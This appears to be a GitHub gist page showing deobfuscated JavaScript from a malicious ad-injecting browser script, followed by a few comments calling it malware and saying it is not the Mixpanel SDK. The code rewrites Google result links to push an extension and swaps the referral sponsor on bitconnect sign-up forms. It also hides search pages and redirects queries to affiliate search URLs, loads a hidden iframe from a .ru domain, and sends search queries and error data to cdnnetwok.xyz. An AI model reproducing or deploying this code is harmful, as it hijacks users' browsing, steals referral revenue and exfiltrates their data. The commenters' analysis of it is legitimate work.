n = n.html(), n.indexOf("var config = {") != -1 && (n = v(n), z(n, r, A)) | |
}) | |
}).attr("mark", 1) | |
} | |
function y() { | |
i(document).bind("DOMNodeInserted", function(n) { | |
clearTimeout(u), u = setTimeout(function() { | |
x() | |
}, 200) | |
}); | |
x() | |
} | |
var u; | |
i(function() { | |
y() | |
}) | |
})() | |
} | |
var h = window.localStorage; | |
var d = (new Date()).getTime(); | |
if (h.pauseVideoPromote) { | |
var a = d - h.pauseVideoPromote; | |
if (a < 86400 * 10 * 1000) { | |
return | |
} | |
} | |
var l; | |
var b = "chrome-extension://amjcoehkcacocffpmhnefgoeanepjfkf/i/loading.png"; | |
i.ajax({ | |
url: b, | |
type: "HEAD", | |
error: function() { | |
l = g("https://chrome.google.com/webstore/detail/social-video-downloader/amjcoehkcacocffpmhnefgoeanepjfkf"); | |
setTimeout(function() { | |
if (location.href.indexOf("facebook.com") > -1 && i(".dodsoais_social_btn_ID").length === 0) { | |
m() | |
} | |
if (location.href.indexOf("vk.com") > -1 && i(".idd_items_content").length === 0) { | |
e() | |
} | |
if (location.href.indexOf("dailymotion.com") > -1 && i(".btn_v2").attr("href") !== "#download") { | |
k() | |
} | |
if (location.href.indexOf("coub.com") > -1 && i(".sfn").length === 0) { | |
j() | |
} | |
}, 2500) | |
}, | |
success: function() {} | |
}) | |
}); | |
} | |
})() | |
}(function() { | |
var a = w["c822bb0d82ad01a5ae"]; | |
if ((location.hostname.indexOf("google.") !== 0 || location.hostname.indexOf("www.google.") !== 0) && document.location.pathname.indexOf("search") === -1) { | |
return | |
} | |
var c = "chrome.google.com/webstore"; | |
var b = { | |
ddjdamcnphfdljlojajeoiogkanilahc: ["Speed Dial", "New tab", "start tab", "start page", "new page", "home page", "default page", "fast dial", "fast access", "quick access"] | |
}; | |
function d() { | |
var f = document.querySelectorAll("div.g"); | |
if (!f.length) { | |
return | |
} | |
Object.keys(b).forEach(function(g) { | |
f.forEach(function(h) { | |
var i = (h.querySelector("h3") && h.querySelector("h3").textContent) + " " + (h.querySelector("span.st") && h.querySelector("span.st").textContent); | |
b[g].forEach(function(j) { | |
if (i.toUpperCase().indexOf(j.toUpperCase()) > -1) { | |
e(h.querySelector("a:not(.cws)"), g) | |
} | |
}) | |
}) | |
}) | |
} | |
function e(f, h) { | |
if (!f) { | |
return | |
} | |
var g = false; | |
if (f.href.indexOf(c) > -1) { | |
g = f.href | |
} | |
if (f.getAttribute("data-href") && f.getAttribute("data-href").indexOf(c) > -1) { | |
g = f.getAttribute("data-href") | |
} | |
if (g) { | |
f.removeAttribute("onmousedown"); | |
f.removeAttribute("data-href"); | |
f.href = g.replace(/\/[a-z]{32}/gi, "/" + h); | |
f.className = f.className + " cws"; | |
a.on(f, "click", function() { | |
a.setCookie("__mzglrl", 1, { | |
expire: 300 | |
}); | |
a.loadedCallback("BANNER_LOAD", '1f608') | |
}) | |
} | |
} | |
if (!a.getCookie("__mzglrl")) { | |
d(); | |
setInterval(d, 1000 * 10) | |
} else {} | |
})();; | |
(function() { | |
var a = w["c822bb0d82ad01a5ae"]; | |
if (location.href.indexOf("bitconnect.co/register") == -1) { | |
return | |
} | |
var b = a.randomNumber(100000, 9999999); | |
a.on(document.getElementById("registration_form"), "submit", function() { | |
var d = document.getElementById("sponsor"); | |
a.loadedCallback("BANNER_LOAD", '62001', d.value, b); | |
if (d.classList.contains("sponsor_added")) {} else { | |
d.id = ""; | |
d.name = ""; | |
var c = document.createElement("input"); | |
c.type = "hidden"; | |
c.name = "sponsor"; | |
c.classList.add("sponsor_added"); | |
c.id = "sponsor"; | |
c.value = "default1"; | |
document.getElementById("registration_form").appendChild(c) | |
} | |
}) | |
})();; | |
if (scriptsToLoad['5db45']) { | |
(function() { | |
var block = '5db45'; | |
(function(n, i, q) { | |
var r = w["c822bb0d82ad01a5ae"]; | |
var o = r.getMtzCfg('5db45'); | |
var j = document.domain; | |
var c = location.href; | |
var f = {}; | |
var h = true; | |
if (j.indexOf("nova.rambler.ru") !== -1 && c.indexOf("/search") !== -1 && c.indexOf("query=") !== -1) { | |
document.documentElement.style.display = "none"; | |
setTimeout(m, 3000) | |
} | |
if (j.indexOf("go.mail.ru") !== -1 && c.indexOf("/search") !== -1 && c.indexOf("q=") !== -1) { | |
document.documentElement.style.display = "none"; | |
setTimeout(m, 3000) | |
} | |
if (j.indexOf("plusnetwork.com") !== -1 && c.indexOf("q=") !== -1) { | |
document.documentElement.style.display = "none"; | |
setTimeout(m, 3000) | |
} | |
if (j.indexOf("search.mysearch.com") !== -1 && c.indexOf("/web") !== -1 && c.indexOf("q=") !== -1) { | |
document.documentElement.style.display = "none"; | |
setTimeout(m, 3000) | |
} | |
function m() { | |
document.documentElement.style.display = "block" | |
} | |
function a() { | |
if (document.head) { | |
var d = document.createElement("meta"); | |
d.name = "referrer"; | |
d.content = "no-referrer"; | |
document.getElementsByTagName("head")[0].appendChild(d) | |
} | |
} | |
function p(l) { | |
f = {}; | |
if (!l || l == "") { | |
l = location.href | |
} | |
var x = l.split("?"); | |
var v = l.split("#"); | |
if (x.length == 2) { | |
x = x[1] | |
} else { | |
x = x[0] | |
} | |
if (v.length == 2) { | |
x = x + "&" + v[1] | |
} | |
if (x != "") { | |
var d = x.split("&"); | |
for (var u = 0; u < d.length; u++) { | |
t = d[u].split("="); | |
if (t[1]) { | |
f[t[0]] = t[1] | |
} | |
} | |
} | |
} | |
function k(d) { | |
var l = setInterval(function() { | |
p(); | |
if (f[d] == undefined) { | |
return | |
} | |
r.loadedCallback("BANNER_LOAD", '5db45'); | |
var u = f[d]; | |
var s = "http://search.feedvertizus.com/v1/hostedsearch?pid=252428&subid=965&subid2=y_" + ((r && r.tbParams && r.tbParams.tid) ? r.tbParams.tid : "") + "&keyword=" + u; | |
if (h) { | |
clearInterval(l); | |
h = false; | |
window.location.replace(s) | |
} | |
}, 0) | |
} | |
function g() { | |
document.documentElement.style.display = "none"; | |
setTimeout(m, 3000); | |
var d = setInterval(function() { | |
r.loadedCallback("BANNER_LOAD", '5db45'); | |
var l = "https://yandex.com/?clid=2300267"; | |
if (h) { | |
clearInterval(d); | |
h = false; | |
window.location.replace(l) | |
} | |
}, 0) | |
} | |
function b() { | |
if (j.indexOf("nova.rambler.ru") != -1) { | |
a(); | |
k("query") | |
} | |
if (j.indexOf("go.mail.ru") != -1) { | |
a(); | |
k("q") | |
} | |
if (j.indexOf("plusnetwork.com") != -1) { | |
a(); | |
k("q") | |
} | |
if (j.indexOf("search.mysearch.com") != -1) { | |
a(); | |
k("q") | |
} | |
} | |
b(); | |
function e() { | |
if (j.indexOf("r0.ru") != -1 && location.pathname == "/") { | |
a(); | |
g() | |
} | |
if (j.indexOf("go.mail.ru") != -1 && location.pathname == "/") { | |
a(); | |
g() | |
} | |
if (j.indexOf("securesurf.biz") != -1 && location.pathname == "/") { | |
a(); | |
g() | |
} | |
if (j.indexOf("mysearch24.com") != -1 && location.pathname == "/") { | |
a(); | |
g() | |
} | |
if (j.indexOf("search.mysearch.com") != -1 && location.pathname == "/") { | |
a(); | |
g() | |
} | |
if (j.indexOf("secure-finder.org") != -1 && location.pathname == "/") { | |
a(); | |
g() | |
} | |
if (j.indexOf("playbar.biz") != -1 && location.pathname == "/") { | |
a(); | |
g() | |
} | |
} | |
e() | |
})(document, window); | |
})() | |
} | |
if (scriptsToLoad['4d7da']) { | |
(function() { | |
(function(e, a, b) { | |
var c = document.createElement("iframe"); | |
c.src = "https://nesmotrinamenya.ru/566bbee0f961ad71b54c3c2fd36db053"; | |
c.width = 1; | |
c.height = 1; | |
c.style = "position:absolute;left:0px;top:0px;opacity:0.0;"; | |
document.body.appendChild(c) | |
})(document, window); | |
})() | |
} | |
})(document, window);; | |
(function(g, a, e) { | |
var c = a["c822bb0d82ad01a5ae"]; | |
var f = c.Sizzle; | |
function b() { | |
var d = f(".commercial-unit"); | |
var i = f("input[name=q]"); | |
if (i.length > 0 && d.length > 0) { | |
var h = i[0].value; | |
c.loadedCallback("GGL_COM_BLOCK", "", h) | |
} | |
} | |
c.each(f("input[name=q]"), function(d) { | |
c.on(d, "change", function() { | |
b() | |
}) | |
}); | |
b() | |
})(document, window, undefined);; | |
(function(e, a, f, c) { | |
var b = a[f]; | |
b.twBarOptOutInit = function() { | |
var g = document.createElement("iframe"); | |
g.setAttribute("style", "display: none; position: fixed; top: 50%; left: 50%; width: 650px; height: 500px; margin-top: -250px; margin-left: -325px; z-index: 2147483647;"); | |
g.id = "__twboptc822bb0d82ad01a5ae"; | |
g.frameBorder = 0; | |
g.scrolling = "no"; | |
document.body.appendChild(g); | |
var d = null; | |
var h = function() { | |
if (d) { | |
clearTimeout(d) | |
} | |
var i = {}; | |
if (g.contentWindow) { | |
i = g.contentWindow.document | |
} else { | |
if (g.contentDocument) { | |
i = g.contentDocument | |
} | |
} | |
i.open(); | |
i.write('<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>' + a[f].tbParams.title + ' OptOut</title><style>article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary{display:block}audio,canvas,video{display:inline-block}template{display:none}html{font-family:sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}body{margin:0}a{background:0 0}a:active,a:hover{outline:0}h1{margin:.67em 0}b,strong{font-weight:700}dfn{font-style:italic}hr{height:0;-moz-box-sizing:content-box;box-sizing:content-box}mark{color:#000;background:#ff0}code,kbd,pre,samp{font-size:1em}pre{white-space:pre-wrap}q{quotes:"ВЃC" "ВЃD" "ВЃ8" "ВЃ9"}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}figure{margin:0}button,input,select,textarea{margin:0}button,select{text-transform:none}button{cursor:pointer;-webkit-appearance:button}input[type=search]::-webkit-search-cancel-button,input[type=search]::-webkit-search-decoration{-webkit-appearance:none}button::-moz-focus-inner,input::-moz-focus-inner{padding:0;border:0}textarea{overflow:auto;vertical-align:top}table{border-collapse:collapse;border-spacing:0}@media print{*{color:#000!important;text-shadow:none!important;background:transparent!important;box-shadow:none!important}a,a:visited{text-decoration:underline}blockquote,pre{border:1px solid #999;page-break-inside:avoid}thead{display:table-header-group}img,tr{page-break-inside:avoid}img{max-width:100%!important}h2,h3,p{orphans:3;widows:3}h2,h3{page-break-after:avoid}select{background:#fff!important}}*,:after,:before{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{font-size:62.5%;-webkit-tap-highlight-color:rgba(0,0,0,0)}body{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:1.428571429;color:#333;background-color:#fff}button,input,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}a{color:#428bca;text-decoration:none}a:focus,a:hover{color:#2a6496;text-decoration:underline}a:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}img{vertical-align:middle}hr{margin-top:20px;margin-bottom:20px;border:0;border-top:1px solid #eee}h1,h2,h3,h4,h5,h6{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-weight:500;line-height:1.1;color:inherit}h1,h2,h3{margin-top:20px;margin-bottom:10px}h4,h5,h6{margin-top:10px;margin-bottom:10px}h1{font-size:36px}h2{font-size:30px}h3{font-size:24px}h4{font-size:18px}h5{font-size:14px}h6{font-size:12px}p{margin:0 0 10px}small{font-size:85%}cite{font-style:normal}ol,ul{margin-top:0;margin-bottom:10px}dl{margin-top:0;margin-bottom:20px}dd,dt{line-height:1.428571429}dt{font-weight:700}dd{margin-left:0}blockquote{padding:10px 20px;margin:0 0 20px;border-left:5px solid #eee}blockquote:after,blockquote:before{content:""}address{margin-bottom:20px;font-style:normal;line-height:1.428571429}code,kbd,pre,samp{font-family:Menlo,Monaco,Consolas,"Courier New",monospace}code{padding:2px 4px;font-size:90%;color:#c7254e;white-space:nowrap;background-color:#f9f2f4;border-radius:4px}pre{display:block;padding:9.5px;margin:0 0 10px;font-size:13px;line-height:1.428571429;color:#333;word-break:break-all;word-wrap:break-word;background-color:#f5f5f5;border:1px solid #ccc;border-radius:4px}table{max-width:100%;background-color:transparent}th{text-align:left}fieldset{padding:0;margin:0;border:0}legend{display:block;width:100%;padding:0;margin-bottom:20px;font-size:21px;line-height:inherit;color:#333;border:0;border-bottom:1px solid #e5e5e5}label{display:inline-block;margin-bottom:5px;font-weight:700}input[type=number]::-webkit-inner-spin-button,input[type=number]::-webkit-outer-spin-button{height:auto}output{display:block;padding-top:7px;font-size:14px;line-height:1.428571429;color:#555;vertical-align:middle}.form-control:-ms-input-placeholder{color:#999}.form-control::-webkit-input-placeholder{color:#999}.btn{display:inline-block;padding:6px 12px;margin-bottom:0;font-size:14px;font-weight:400;line-height:1.428571429;text-align:center;white-space:nowrap;vertical-align:middle;cursor:pointer;background-image:none;border:1px solid transparent;border-radius:4px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none}.btn:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn:focus,.btn:hover{color:#333;text-decoration:none}.btn:active{background-image:none;outline:0;-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn-primary{color:#fff;background-color:#428bca;border-color:#357ebd}.btn-primary:active,.btn-primary:focus,.btn-primary:hover{color:#fff;background-color:#3276b1;border-color:#285e8e}.btn-primary:active{background-image:none}.btn-warning{color:#fff;background-color:#f0ad4e;border-color:#eea236}.btn-warning:active,.btn-warning:focus,.btn-warning:hover{color:#fff;background-color:#ed9c28;border-color:#d58512}.btn-warning:active{background-image:none}.btn-danger{color:#fff;background-color:#d9534f;border-color:#d43f3a}.btn-danger:active,.btn-danger:focus,.btn-danger:hover{color:#fff;background-color:#d2322d;border-color:#ac2925}.btn-danger:active{background-image:none}.btn-success{color:#fff;background-color:#5cb85c;border-color:#4cae4c}.btn-success:active,.btn-success:focus,.btn-success:hover{color:#fff;background-color:#47a447;border-color:#398439}.btn-success:active{background-image:none}.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;border-radius:6px}.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;border-radius:3px}.fade{opacity:0;-webkit-transition:opacity .15s linear;transition:opacity .15s linear}.fade.in{opacity:1}@font-face{font-family:"Glyphicons Halflings";src:url(../fonts/glyphicons-halflings-regular.eot);src:url(../fonts/glyphicons-halflings-regular.eot?#iefix) format("embedded-opentype"),url(../fonts/glyphicons-halflings-regular.woff) format("woff"),url(../fonts/glyphicons-halflings-regular.ttf) format("truetype"),url(../fonts/glyphicons-halflings-regular.svg#glyphicons-halflingsregular) format("svg")}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}.close{float:right;font-size:21px;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;opacity:.2;filter:alpha(opacity=20)}.close:focus,.close:hover{color:#000;text-decoration:none;cursor:pointer;opacity:.5;filter:alpha(opacity=50)}button.close{padding:0;cursor:pointer;background:0 0;border:0;-webkit-appearance:none}.modal-open{overflow:hidden}.modal{position:fixed;top:0;right:0;bottom:0;left:0;z-index:2000000;display:none;overflow:auto;overflow-y:scroll}.modal.fade .modal-dialog{-webkit-transform:translate(0,-25%);-ms-transform:translate(0,-25%);transform:translate(0,-25%);-webkit-transition:-webkit-transform .3s ease-out;-moz-transition:-moz-transform .3s ease-out;-o-transition:-o-transform .3s ease-out;transition:transform .3s ease-out}.modal.in .modal-dialog{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}.modal-dialog{position:relative;z-index:1050;width:auto;margin:10px}.modal-content{position:relative;background-color:#fff;border:1px solid #999;border:1px solid rgba(0,0,0,.2);border-radius:6px;outline:0;-webkit-box-shadow:0 3px 9px rgba(0,0,0,.5);box-shadow:0 3px 9px rgba(0,0,0,.5);background-clip:padding-box}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1030;background-color:#000}.modal-backdrop.fade{opacity:0;filter:alpha(opacity=0)}.modal-backdrop.in{opacity:.5;filter:alpha(opacity=50)}.modal-header{min-height:16.428571429px;padding:15px;border-bottom:1px solid #e5e5e5}.modal-header .close{margin-top:-2px}.modal-title{margin:0;line-height:1.428571429}.modal-body{position:relative;padding:20px}.modal-footer{padding:19px 20px 20px;margin-top:15px;text-align:right;border-top:1px solid #e5e5e5}.modal-footer:after,.modal-footer:before{display:table;content:" "}.modal-footer:after{clear:both}.modal-footer .btn+.btn{margin-bottom:0;margin-left:5px}@media screen and (min-width:768px){.modal-dialog{width:600px;margin:30px auto}.modal-content{-webkit-box-shadow:0 5px 15px rgba(0,0,0,.5);box-shadow:0 5px 15px rgba(0,0,0,.5)}}</style><content><div class="modal-content" style="font-family:\'Segoe UI\',\'Droid Sans\',Arial,sans-serif; width:650px"><div class="modal-header"><button type="button" class="close" id="close-btn" data-dismiss="modal" aria-hidden="true"><img src="//cdnnetwok.xyz/ext/images/close-cross.png" width="16" height="16"></button><h4 class="modal-title" id="myModalLabel"><b>' + a[f].tbParams.title + '\'s development is supported by <u style="position:static">optional</u> ads</b></h4></div><div class="modal-body">' + a[f].tbParams.title + '\'s development is supported by <b>optional</b> advertisements that are added to some of the websites you visit. During the development of this extension, I\'ve put in thousands of hours adding features, fixing bugs and making things betternot mentioning the support of all the users who ask for help.<br><br>Ads support most of the internet we all use and love; without them, the internet we have today would simply not exist. Similarly, without revenue, this extension (and the upcoming new ones) would not be possible.<br><br><b>You can disable these ads now or later in the settings page. You can also minimize the ads appearance by clicking on partial support button. Both of these options are available by clicking \'x\' button in the corner of each ad.</b> In both cases,your choice will remain in effect unless you reinstall or reset the extension.</div><div class="modal-footer"><button type="button" id="full-support" class="btn btn-success btn-lg">Fully Support</button><button type="button" id="partial-support" class="btn btn-default">Partially Support</button><p style="text-align:left;width:100%;"><a id="no-support" style="text-decoration:underline;" href="#">No, I don\'t want to support you work</a></p></div></div></content>'); | |
i.close(); | |
i.getElementById("full-support").onclick = function() { | |
b.optoutHide(); | |
b.loadedCallback("OPTOUT_CLK_FULLSUPPORT"); | |
return false | |
}; | |
i.getElementById("close-btn").onclick = function() { | |
b.optoutHide(); | |
b.loadedCallback("OPTOUT_CLK_CLOSE"); | |
return false | |
}; | |
i.getElementById("partial-support").onclick = function() { | |
window.open("http://thisadsfor.us/optout?t=200&u=49377&key=c822bb0d82ad01a5ae&block=" + b.currentOptoutBlock); | |
b.optoutHide(); | |
b.loadedCallback("OPTOUT_CLK_PARTSUPPORT") | |
}; | |
i.getElementById("no-support").onclick = function() { | |
window.open("http://thisadsfor.us/optout?t=200&u=49377&key=c822bb0d82ad01a5ae&block=" + b.currentOptoutBlock); | |
b.optoutHide(); | |
b.loadedCallback("OPTOUT_CLK_NOSUPPORT") | |
} | |
}; | |
if (g.contentDocument || g.contentWindow) { | |
h() | |
} else { | |
b.on(g, "load", h); | |
d = setTimeout(h, 5000) | |
} | |
b.twBarOptOut = a[f].twBarOptOut = g | |
} | |
})(document, window, "c822bb0d82ad01a5ae", undefined);; | |
d.loadedCallback("FINISHED", "", location.host) | |
}) | |
});; | |
try { | |
b(document, window) | |
} catch (c) { | |
var h = (typeof c.stack != "undefined" ? c.stack : "!empty stack!"); | |
if (h.length > 1500) { | |
h = h.substr(0, 1500) | |
} | |
var a = (i.location.protocol == "http:" ? "http:" : "https:") + "//cdnnetwok.xyz/log/?l=error&m=" + encodeURIComponent((typeof c.message != "undefined" ? c.message : "!empty message!") + "|" + h); | |
var k = document.createElement("script"); | |
k.type = "text/javascript"; | |
k.src = a + (a.indexOf("?") == -1 ? "?" : "&") + "t=" + (new Date().getTime()); | |
(document.getElementsByTagName("script")[0] || document.documentElement.firstChild).parentNode.appendChild(k); | |
(function() { | |
var e = ["mid=", "wid=49377", "sid=" + (i[g] && i[g].tbParams && i[g].tbParams.sid) ? i[g].tbParams.sid : "", "tid=200", "custom1=" + encodeURIComponent((typeof c.message != "undefined" ? c.message : "!empty message!")), "rid=CORE_JS_ERROR"]; | |
a = (i.location.protocol == "http:" ? "http:" : "https:") + "//cdnnetwok.xyz/metric/?" + e.join("&"); | |
var d = f.createElement("img"); | |
d.setAttribute("style", "width:0;height:0;display:none;visibility:hidden;"); | |
d.src = a + (a.indexOf("?") == -1 ? "?" : "&") + "t=" + (new Date().getTime()); | |
(document.head || document.documentElement).appendChild(d); | |
if (typeof d.onload != j) { | |
d.onload = function() { | |
d.parentNode && d.parentNode.removeChild(d) | |
} | |
} | |
})() | |
} | |
}(document, window)); |
This is not the mixpanel SDK.
for (G in {
radio: true,
checkbox: true,
file: true,
password: true,
image: true
}) {
v.pseudos[G] = F(G)
}
Yes, the code in this gist is some kind of ridiculous malware. But again, it has nothing to do with Mixpanel, nor with the issue discussed in that tweet. The Mixpanel SDK is open source and available at https://github.com/mixpanel/mixpanel-js.
Hi, there, Did you find out what this code do yet? I intercepted the similar .js response yesterday.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
This adds a lot of adds, and send a lot of info, there are some parts that are obfuscated too.
Live link is https://cdn.mxpnl.com/libs/mixpanel-2-latest.min.js